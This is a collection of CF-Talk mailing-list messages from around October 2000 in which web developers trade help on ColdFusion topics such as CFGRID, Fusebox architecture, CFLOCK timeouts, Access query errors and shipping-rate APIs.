[John Allred]

Simon,

Yeah. Just like you would do with SELECT or CFSELECT, as in:



#trim(dept)#

I can't find anything to indicate something like this is
possible. I guess maybe the question is whether you can nest
a SELECT field within a CFGRID.

Thanks,
--John

Simon Horwith wrote:
> 
> let me get this straight:  you want to know how to create a CFGRID with one
> query, and populate some of it's cell values with results from another
> query?  I'm just trying to make sure I understand the question, before I
> answer.
> 
> ~Simon
>

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RE: Tele check processing using CF

[Richard Colman]

darn. did it again. sorry to broadcast this to the list.

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Is this the same thanh nguyen that I know??? If not, please excuse the
contact.

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Subject: Tele check processing using CF


Is there any custom tag or information about tele check payment processing
from Verisign , please give me some suggestion
thanks

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New Virus,

[Will Ryan]

Beware of latest visual basic worm, UOEOGO.  One of our "Sales" folks got
hit.

Beware!
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CFCONTENT download name

[Warrick, Mark]

I'm trying to create an MS Word doc based upon a query and information entered on a 
form preceeding this report processing template.

In the processing template I've tried using:


The query runs, but all the information I entered in the form preceeding it is lost.

I've tried using:


This works. The query data and all the info from the preceeding form are there, and a 
download prompt comes up in the browser.

HOWEVER, the initial filename in the download prompt is the name of the CFML template 
which processed it (reports.cfm).

I want the name of the file that shows up in that download prompt to be report.doc so 
that the user won't have to think about about naming the file correctly when they 
select a place to save it.

I've tried the technique suggested by Borkman Lee:
http://servername/cfdocs/index.cfm/xyz.doc?fuseaction=showWordDoc

It doesn't work on my server.

Does anyone else know how to do this? 

Please copy me on your reply as the list sometimes take a few hours to send messages 
to me.

Thanks!

OH, and by the way - the first person to answer this correctly is going to get 2 free 
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OT setting form variables in asp

[Gavin Myers]

hah, i have the pleasure of mudding up some asp code on this site

if i have this:

form.cfm




form_submit.asp

Session("COLL_FORM_ID") = "#form.formid#"


thanks,
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RE: Tele check processing using CF

[Richard Colman]

Is this the same thanh nguyen that I know??? If not, please excuse the
contact.

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Is there any custom tag or information about tele check payment processing
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Tele check processing using CF

[thanh nguyen]

Is there any custom tag or information about tele check payment processing 
from Verisign , please give me some suggestion
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RE: fusebox style: too much disk access?

[Nat Papovich]

What-evah, Dave. Fusebox kicks ass for the very implementation you mention.
COMs can be called from a single file (using a new prefix com_filename.cfm
if you want), then whenever you need that COM, you cfinclude that file.

Maybe it would help us if you made a distinction between application logic
encapsulation and business rules encapsulation. If you do both within
COM/EJB, then you practically don't even need CF for anything other than
CFOUTPUT. If however, you want application logic in COM, but still want
business rules in CF, then Fusebox is great. No?

It seems to me that if you remove application and business logic from CF,
then a structured application architecture (like Fusebox) becomes less of a
necessity. What kind of CF architecture do you guys use in EJB/COM-heavy
apps?

Nat Papovich
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Subject: RE: fusebox style: too much disk access?


> > I'm not a Fusebox fan, by any measure, 
> 
> Why not? What would need to be changed to make you a fan?

I'd have to be working on applications where the complex logic is stored in
CF, instead of in other application tiers. I don't want to fuel another "Is
Fusebox good or bad" thread, but I don't think it fits well with the type of
applications that we focus on here at Fig Leaf, which typically have lots of
client-side complexity, like frames, JavaScript, Flash, etc. and have lots
of application logic within other application tiers on the server-side, like
within stored procedures or COM/EJB.

On the other hand, if I was working on an application with all of its
complexity within CF, I'd probably like Fusebox quite a bit. Once you move
most of that complexity from CF to other tiers, though, Fusebox doesn't do
much for you, in my opinion.

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RE: Selects in CFGRID

[Simon Horwith]

let me get this straight:  you want to know how to create a CFGRID with one
query, and populate some of it's cell values with results from another
query?  I'm just trying to make sure I understand the question, before I
answer.

~Simon

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Aw, c'mon. Someone's bound to have some thoughts on this.
Please?

John Allred wrote:
> 
> I have four books open in front of me, and I've been
> searching for an answer all morning. Is there a way to
> insert values in a CFGRID field by selecting values from a
> column from another query? What I'm looking for is the same
> functionality as you'd get from an HTML SELECT field where
> you populate it with a query.
> 
> Thanks,
> --John
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Re: Selects in CFGRID

[John Allred]

Aw, c'mon. Someone's bound to have some thoughts on this.
Please?

John Allred wrote:
> 
> I have four books open in front of me, and I've been
> searching for an answer all morning. Is there a way to
> insert values in a CFGRID field by selecting values from a
> column from another query? What I'm looking for is the same
> functionality as you'd get from an HTML SELECT field where
> you populate it with a query.
> 
> Thanks,
> --John
> 
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RE: Weirdest Access problem ever

[Robert Everland]

Sorry I was using that as an example, it was actually this
left(problemlog.description, 40) AS ResultField5, now what else could it be.

Robert Everland III
Web Developer
Dixon Ticonderoga


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You should rename the field desc as that is a reserved word and your ODBC
connection may be choking on it.  Try naming it something like description.
I know it's more typing but you'll have fewer headaches.  BTW this should
also fix your problem.

--K

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Subject: Wierdest Access problem ever


Alright here is what happened. I had a query that was working
perfectly for sometime. It basically did this
Select left(desc,40)
>From Here
Where 1=1

What happened was the left function completely screwed the query. Has anyone
had this problem before? I thought access supported this function, was it a
fluke as to why it was working before? I took it out and put it in CF to do
it, but I am sure it would be just a little faster if Access was doing it.

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RE: Weirdest Access problem ever

[Chapman, Katrina]

You should rename the field desc as that is a reserved word and your ODBC
connection may be choking on it.  Try naming it something like description.
I know it's more typing but you'll have fewer headaches.  BTW this should
also fix your problem.

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From: Robert Everland [mailto:[EMAIL PROTECTED]]
Sent: Friday, October 20, 2000 10:05 AM
To: CF-Talk
Subject: Wierdest Access problem ever


Alright here is what happened. I had a query that was working
perfectly for sometime. It basically did this
Select left(desc,40)
>From Here
Where 1=1

What happened was the left function completely screwed the query. Has anyone
had this problem before? I thought access supported this function, was it a
fluke as to why it was working before? I took it out and put it in CF to do
it, but I am sure it would be just a little faster if Access was doing it.

Robert Everland III
Web Developer
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can't open for reading or corrupted error

[stew]

Hello,

We are currently having to restart our IIS server every couple of hours to fix a CF 
problem.  We believe it is a CF problem because static sites continue to work however 
CF sites will not work.  Below is the error message that we get from CF.

Error Occurred While Processing Request
Error Diagnostic Information Cannot load template file
\\HOST\Directory\RECORD_CHARITIES.CFM
The template file exists, however, it either cannot be opened for reading,
or it is encrypted and its data has been corrupted The error occurred while
processing an element with a general identifier of (CFINCLUDE), occupying
document position (17:3) to (17:172). Date/Time: 10/11/00 10:50:08 Browser:
Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt) Remote Address:
143.61.15.253 HTTP Referer:

The problem is not every hit to a page.  This happens over time, and not always from 
the same page.  After this error CF no longer serves pages.

Any help with this would be much appreciated.  I have done searches on numerous CF & 
IIS sites to no avail.

TIA,
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RE: CFLOCK HELLLLPPPP

[Dave Watts]

> Hi all. Sorry about another cflock question, but using it 
> has stopped our system cold.
> 
> Our system: CF v4.1 on NT integrating with ESRI ArcIMS and 
> using SYBASE IQ12 on UNIX for our datawarehouse. In ArcIMS, 
> the screen is divided into frames and and the CF comes on 
> in one of the frames. I put a CFLOCK around a set of session 
> variables. See code below. Then I have an SQL statement using 
> the session.variables and put a CFLOCK around this too. Now, 
> I have to say that it takes forever to get a query back (2 or 
> more minutes) but I have no control over the IQ server and 
> once I added the CFLOCK it came back with "Timed out while
> waiting to obtain exclusive lock." and stopped everything 
> cold. To get it working again, we have to reboot our CF 
> server. If we put a THROWTIMEOUT= "No" it will continue to 
> process but we need those session variables for the query
> that follows.
> 
> If I am to use CFLOCK how can I do it without locking our 
> whole system?

I've never seen CFLOCK cause the server to need to be cycled!

There are a couple of things you might look at.

In your query, are you writing to session variables, or simply reading them?
If you're just reading them, you don't need an exclusive lock. You might
also, in that case, cast the variables to a local scope within a lock before
the query, then reference the local variables instead.

Dave Watts, CTO, Fig Leaf Software
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javascript editors....

[Simon Horwith]

Does anyone know of a text editor that comes with full supported "dot
operator" pop-up functionality (kind of like the VB IDE has) for javascript?
Just curious.

~Simon

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RE: Editable scrolling text box

[Warrick, Mark]

Use standard HTML: 

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> Subject: Editable scrolling text box
> 
> 
> Is there a way to create a scrolling input box or specify the 
> height of the
> box and wrap the text?  I have tried using , but the text
> string does not wrap.
> 
> If you have any questions or concerns, please feel free to call me at
> 407-514-5021.
> 
> Thank you,
> 
> > Issac Rosa
> > 
> > IT - National Sales & Marketing
> > OLAP Specialist Team Leader
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RE: fusebox style: too much disk access?

[Dave Watts]

> > I'm not a Fusebox fan, by any measure, 
> 
> Why not? What would need to be changed to make you a fan?

I'd have to be working on applications where the complex logic is stored in
CF, instead of in other application tiers. I don't want to fuel another "Is
Fusebox good or bad" thread, but I don't think it fits well with the type of
applications that we focus on here at Fig Leaf, which typically have lots of
client-side complexity, like frames, JavaScript, Flash, etc. and have lots
of application logic within other application tiers on the server-side, like
within stored procedures or COM/EJB.

On the other hand, if I was working on an application with all of its
complexity within CF, I'd probably like Fusebox quite a bit. Once you move
most of that complexity from CF to other tiers, though, Fusebox doesn't do
much for you, in my opinion.

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Wierdest Access problem ever

[Robert Everland]

Alright here is what happened. I had a query that was working
perfectly for sometime. It basically did this
Select left(desc,40)
>From Here
Where 1=1

What happened was the left function completely screwed the query. Has anyone
had this problem before? I thought access supported this function, was it a
fluke as to why it was working before? I took it out and put it in CF to do
it, but I am sure it would be just a little faster if Access was doing it.

Robert Everland III
Web Developer
Dixon Ticonderoga

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Editable scrolling text box

[Rosa, Issac]

Is there a way to create a scrolling input box or specify the height of the
box and wrap the text?  I have tried using , but the text
string does not wrap.

If you have any questions or concerns, please feel free to call me at
407-514-5021.

Thank you,

> Issac Rosa
> 
> IT - National Sales & Marketing
> OLAP Specialist Team Leader
> Ofc: 407-514-5021
> Cell: 407-342-0644
> Fax: 407-514-5988
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RE: Working with FedEx API?

[Bill Killillay]

We have integrated both the shipping rate calc and the tracking into a site
that is not yet live and it works great.  The custom tag is written, I
believe, by Michael Sheldon at Desert Raven, it's pretty good.  Did
everything we needed it to with no problems.  It uses CFHTTP so it's kind of
slow sometime when connecting to Intershipper, but it's worth the wait.


Just my .02

Bill

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> Subject: Re: Working with FedEx API?
>
>
> There is a web site called Intershipper that calculates shipping rates
> for you for many shippers, including FedEx. They offer a CF custom tag
> even. Its a free service. They do package tracking, too.
> http://www.intershipper.com
>
> Anyone used it? Any comments? I havn't yet but we plan to in our
> shopping cart.
>
> Ryan
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CFX_PRINTREPORT Problem.

[Nardi, Gaston]

Hi,

I'm trying to use CFX_PRINTREPORT to print some Crystal Reports whitin CF,
but i'm getting "Request Cancel by the user" everytime I load the page.

I've collected very little information regarding the tag, but as far I can
see, parameters are passed correctly (printer, port, user, etc.).

Any ideas ?

If is out there another tag that would do what I want to do, please let me
know.

TIA,
Gaston.


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Re: Working with FedEx API?

[Ryan]

There is a web site called Intershipper that calculates shipping rates
for you for many shippers, including FedEx. They offer a CF custom tag
even. Its a free service. They do package tracking, too.
http://www.intershipper.com

Anyone used it? Any comments? I havn't yet but we plan to in our
shopping cart.

Ryan


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RE: Output to File, a lot of white space

[Warrick, Mark]

Start all files with:

put cf code here, surround HTML outputs with cfoutput

end all files with:


That will eliminate ALL the extra white space that was not generated as you wanted it 
to be, and it's backwards-compatible with version 4.01.

---mark

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> -Original Message-
> From: Paul Sizemore [mailto:[EMAIL PROTECTED]]
> Sent: Friday, October 20, 2000 9:15 AM
> To: CF-Talk
> Subject: Output to File, a lot of white space
> 
> 
> I'm writing a file to disk using the Scheduled Task's "Output to file"
> feature. And, when the file is generated on disk it has a lot of extra
> carriage returns, tabs, and spaces. The amount of extra "white" 
> space looks
> a lot like the extra "white" space in my code.  In fact I deleted an extra
> carriage return in my Application.cfm, and a carriage return in 
> the file was
> deleted. 
> I have selected  "Suppress whitespace by default " on the server, used
> , and 
> none of them
> work (I do notice a difference with suppressing the white space). 
> 
> Paul Sizemore
> 
> Finish Line
> 3308 N Mitthoeffer Rd
> Indianapolis, IN 46235
> W: 317-899-1022 ext 3516
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Re: fusebox style: too much disk access?

[Steve Nelson]

> I'm not a Fusebox fan, by any measure, 

Why not?  What would need to be changed to make you a fan?

Steve

but it won't hurt performance at all
> to access one file a thousand times, as opposed to accessing a thousand
> files once each. The "native" instruction set within the file will be cached
> within the CF server's memory. In any case, the other files will still be
> used as needed, just from within index.cfm rather than as separate requests
> from the browser.
> 
> Dave Watts, CTO, Fig Leaf Software
> http://www.figleaf.com/
> voice: (202) 797-5496
> fax: (202) 797-5444
> 
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RE: fusebox style: too much disk access?

[Warrick, Mark]

Wouldn't that be the same concept as 1,000,000 people hitting Yahoo's homepage and 
search script every day?

I think what it comes down to is that a properly built application on a server capable 
of handling those kind of requests is not going to have any problems with the Fusebox 
methodology of coding.

---mark

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> -Original Message-
> From: Donald Sparks [mailto:[EMAIL PROTECTED]]
> Sent: Friday, October 20, 2000 8:45 AM
> To: CF-Talk
> Subject: Re: fusebox style: too much disk access?
> 
> 
> Okay, I'm not concerned with cfincludes and those related issues. 
> I am concerned with the handling of multiple requests on the 
> index or "fusebox" page (i.e.) a single page. For example say I 
> have 1,000 users on my site. If they are all accessing index.cfm 
> as opposed to 20 to 30 different .cfm pages. How does this affect 
> caching and does it produce any other problems.
> 
> Thank you,
> Don Sparks
> not quite at the 32nd chamber of fusebox.
> 
> - Original Message -
> From: "Steve Nelson" <[EMAIL PROTECTED]>
> To: "CF-Talk" <[EMAIL PROTECTED]>
> Sent: Thursday, October 19, 2000 3:23 PM
> Subject: Re: fusebox style: too much disk access?
> 
> 
> > Don't be confused by what Nat is saying, a single "fuseaction" in a
> > Fusebox application may only hit 5-8 files.  It's really not that big a
> > deal.
> >
> > Steve
> >
> > Nat Papovich wrote:
> > >
> > > A simple test of included files suggests that CF's internal 
> file access
> > > functions were pratically built with a cfinclude-heavy architecture in
> mind.
> > > Accessing dozens of files for a single page request is very quick. Out
> of
> > > 100 included files, you might notice a 10 ms increase than if you had
> all
> > > the code on the same page. Now that 10 ms performance hit gives you a
> > > scalable, intelligible architecture. If you have any experience with
> really
> > > large sites, you know that the only safe way to scale a project is to
> break
> > > it into small "minute modules".
> > >
> > > All this is without mentioning CF's ability to cache templates
> > > automatically. Accessing a file from RAM is basically instantaneous.
> > >
> > > If code scalability, readability, longevity, and understandability is
> > > important now or will be important later, you need to adopt a 
> structured
> > > application methodology like Fusebox.
> > >
> > > Nat Papovich
> > > ICQ 32676414
> > > "I'm for truth no matter who tells it."
> > > -Malcolm X, 1965
> > >
> > > -Original Message-
> > > From: Cyrill Vatomsky [mailto:[EMAIL PROTECTED]]
> > > Sent: Thursday, October 19, 2000 1:00 PM
> > > To: CF-Talk
> > > Subject: fusebox style: too much disk access?
> > >
> > > I was reading on the fusebox concept of putting minute modules into
> separate
> > > files and the question is: wouldn't that slow the site by having to
> access
> > > too many different disk files to load one page?
> > >
> > > Cyrill
> > >
> 
>  
> 
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Re: Working with FedEx API?

[Jon Hall]

Let me warn you now. This program does NOT like Windows 2000, and machines
with multiple IP addresses (so dont install it on any modern web server). We
have to keep the stupid program on a standalone box on the network. Fedex is
really dragging their feet on fixing this.

jon
- Original Message -
From: "Will Ryan" <[EMAIL PROTECTED]>
To: "CF-Talk" <[EMAIL PROTECTED]>
Sent: Thursday, October 19, 2000 5:39 PM
Subject: Working with FedEx API?


> Hi All,
>
>   Has any one out in never never land worked with the FedEx API?  I have
> read nearly all the documentation and have yet to find a way to reference
> the DLL in HTML or CF.  Any one have any thoughts?
>
> Thanks,
>  Will
>
>
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Output to File, a lot of white space

[Paul Sizemore]

I'm writing a file to disk using the Scheduled Task's "Output to file"
feature. And, when the file is generated on disk it has a lot of extra
carriage returns, tabs, and spaces. The amount of extra "white" space looks
a lot like the extra "white" space in my code.  In fact I deleted an extra
carriage return in my Application.cfm, and a carriage return in the file was
deleted. 
I have selected  "Suppress whitespace by default " on the server, used
, and none of them
work (I do notice a difference with suppressing the white space). 

Paul Sizemore

Finish Line
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Indianapolis, IN 46235
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Selects in CFGRID

[John Allred]

I have four books open in front of me, and I've been
searching for an answer all morning. Is there a way to
insert values in a CFGRID field by selecting values from a
column from another query? What I'm looking for is the same
functionality as you'd get from an HTML SELECT field where
you populate it with a query.

Thanks,
--John

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RE: JavaScript Slow in IE w/Roaming Profile

[Hays, Duncan]

Thanks. This makes sense now. How surprising, MS hasn't optimized the JS
runtime! ;)

Duncan Hays
Peace Corps

-Original Message-
From: Dave Watts [mailto:[EMAIL PROTECTED]]
Sent: Friday, October 20, 2000 10:36 AM
To: CF-Talk
Cc: '[EMAIL PROTECTED]'
Subject: RE: JavaScript Slow in IE w/Roaming Profile


> > I did a little more checking and it seems that JS is slow on 
> > all of our NTsp6 boxes whether or not they have a roaming 
> > profile. What actually runs JS? NT or IE?
>
> IE

Actually, neither "runs" JS. When you install IE, you also install another
program, the Scripting Runtime DLL (scrrun.dll). This is what runs all
JavaScript used by any Microsoft program, whether it's IE or Windows Script
Host. The point is, the JavaScript interpreter isn't part of IE
specifically.

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RE: fusebox style: too much disk access?

[Dave Watts]

> Okay, I'm not concerned with cfincludes and those related 
> issues. I am concerned with the handling of multiple requests 
> on the index or "fusebox" page (i.e.) a single page. For 
> example say I have 1,000 users on my site. If they are all 
> accessing index.cfm as opposed to 20 to 30 different .cfm 
> pages. How does this affect caching and does it produce any 
> other problems.

I'm not a Fusebox fan, by any measure, but it won't hurt performance at all
to access one file a thousand times, as opposed to accessing a thousand
files once each. The "native" instruction set within the file will be cached
within the CF server's memory. In any case, the other files will still be
used as needed, just from within index.cfm rather than as separate requests
from the browser.

Dave Watts, CTO, Fig Leaf Software
http://www.figleaf.com/
voice: (202) 797-5496
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RE: Using CF to add appointments to Outlook

[Dave Watts]

> I am trying to set up a system to allow users of our website 
> to set a callback time with one of our reps. Once they set the 
> date and time, I want the appointment to be set up in the reps 
> Outlook calendar. My question is, can this be done in CF either 
> by sending a meeting request through e-mail or accessing the 
> calendars directly?

You can do this with iCalendar attachments. Read all about it in the June
2000 DC CFUG:

http://www.figleaf.com/figleafhome/cfug/cfugjune00.zip

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CF & LDAP

[Rosa, Issac]

Does anyone know of a good reference dealing with CF and LDAP?  Something
that discusses overview, concepts and implementation.

If you have any questions or concerns, please feel free to call me at
407-514-5021.

Thank you,

> Issac Rosa
> 
> IT - National Sales & Marketing
> OLAP Specialist Team Leader
> Ofc: 407-514-5021
> Cell: 407-342-0644
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Re: fusebox style: too much disk access?

[Donald Sparks]

Okay, I'm not concerned with cfincludes and those related issues. I am concerned with 
the handling of multiple requests on the index or "fusebox" page (i.e.) a single page. 
For example say I have 1,000 users on my site. If they are all accessing index.cfm as 
opposed to 20 to 30 different .cfm pages. How does this affect caching and does it 
produce any other problems.

Thank you,
Don Sparks
not quite at the 32nd chamber of fusebox.

- Original Message -
From: "Steve Nelson" <[EMAIL PROTECTED]>
To: "CF-Talk" <[EMAIL PROTECTED]>
Sent: Thursday, October 19, 2000 3:23 PM
Subject: Re: fusebox style: too much disk access?


> Don't be confused by what Nat is saying, a single "fuseaction" in a
> Fusebox application may only hit 5-8 files.  It's really not that big a
> deal.
>
> Steve
>
> Nat Papovich wrote:
> >
> > A simple test of included files suggests that CF's internal file access
> > functions were pratically built with a cfinclude-heavy architecture in
mind.
> > Accessing dozens of files for a single page request is very quick. Out
of
> > 100 included files, you might notice a 10 ms increase than if you had
all
> > the code on the same page. Now that 10 ms performance hit gives you a
> > scalable, intelligible architecture. If you have any experience with
really
> > large sites, you know that the only safe way to scale a project is to
break
> > it into small "minute modules".
> >
> > All this is without mentioning CF's ability to cache templates
> > automatically. Accessing a file from RAM is basically instantaneous.
> >
> > If code scalability, readability, longevity, and understandability is
> > important now or will be important later, you need to adopt a structured
> > application methodology like Fusebox.
> >
> > Nat Papovich
> > ICQ 32676414
> > "I'm for truth no matter who tells it."
> > -Malcolm X, 1965
> >
> > -Original Message-
> > From: Cyrill Vatomsky [mailto:[EMAIL PROTECTED]]
> > Sent: Thursday, October 19, 2000 1:00 PM
> > To: CF-Talk
> > Subject: fusebox style: too much disk access?
> >
> > I was reading on the fusebox concept of putting minute modules into
separate
> > files and the question is: wouldn't that slow the site by having to
access
> > too many different disk files to load one page?
> >
> > Cyrill
> >

 


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CFLOCK HELLLLPPPP

[Carol Bluestein]

Hi all.   Sorry about another cflock question, but using it has stopped our
system cold.

Our system: CF v4.1 on NT integrating with ESRI ArcIMS and using SYBASE IQ12 on
UNIX for our datawarehouse.  In ArcIMS, the screen is divided into frames and
and the CF comes on in one of the frames.  I put a CFLOCK around a set of
session variables.  See code below.  Then I have an SQL statement using the
session.variables and put a CFLOCK around this too.  Now, I have to say that it
takes forever to get a query back (2 or more minutes) but I have no control over
the IQ server and once I added the CFLOCK it came back with "Timed out while
waiting to obtain exclusive lock." and stopped everything cold.To get it
working again, we have to reboot our CF server.  If we put a THROWTIMEOUT= "No" 
it will continue to process but we need those session variables for the query
that follows.

If I am to use CFLOCK how can I do it without locking our whole system?

Any Help would be very much appreciated.

Carol


























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Using CF to add appointments to Outlook

[Shane O'Dell]

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Shane O'Dell
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Stoneage.com

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